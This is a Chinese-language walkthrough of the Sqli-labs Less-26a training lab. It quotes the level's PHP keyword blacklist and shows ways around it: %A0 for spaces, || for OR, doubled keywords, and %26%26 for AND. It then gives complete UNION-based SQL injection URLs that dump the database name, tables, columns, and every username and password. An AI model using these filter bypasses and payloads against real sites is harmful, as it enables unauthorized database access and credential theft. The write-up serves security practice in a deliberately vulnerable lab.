Sqli-labs less-26a
此关卡我的windows环境出现问题,无法进行测试,所以更换环境为linux,我使用kali系统下docker拉取acgpiano/sqli-labs靶场搭建的环境来继续进行测试
分析源码
unction blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
可以看到被过滤的字符
可以使用||或者双写绕过or,%A0来绕过空格,如果windows环境空格无法转义,可以尝试报错注入。
sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
分析这段源码可得闭合方式为')
,如果为黑盒模式,需要进行各种尝试,来确定闭合方式。
确定列数及注入点
构造
http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,2,3||('1
%A0绕过空格,|| 绕过or,此处无法使用order by 来测试列数,所以使用union select 一次尝试,
最终确定注入点和列数
爆数据
数据库名
http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,(select(database())),3||('1
表名
http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),3||('1
注意各种绕过,多使用()来绕过空格
列名
http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()%26%26table_name=‘users’)),3||('1
%26%26转移为&&绕过and,也可以用其他方式
数据
http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,(select(group_concat(username,‘~’,passwoorrd))from(security.users)),3||('1
OVER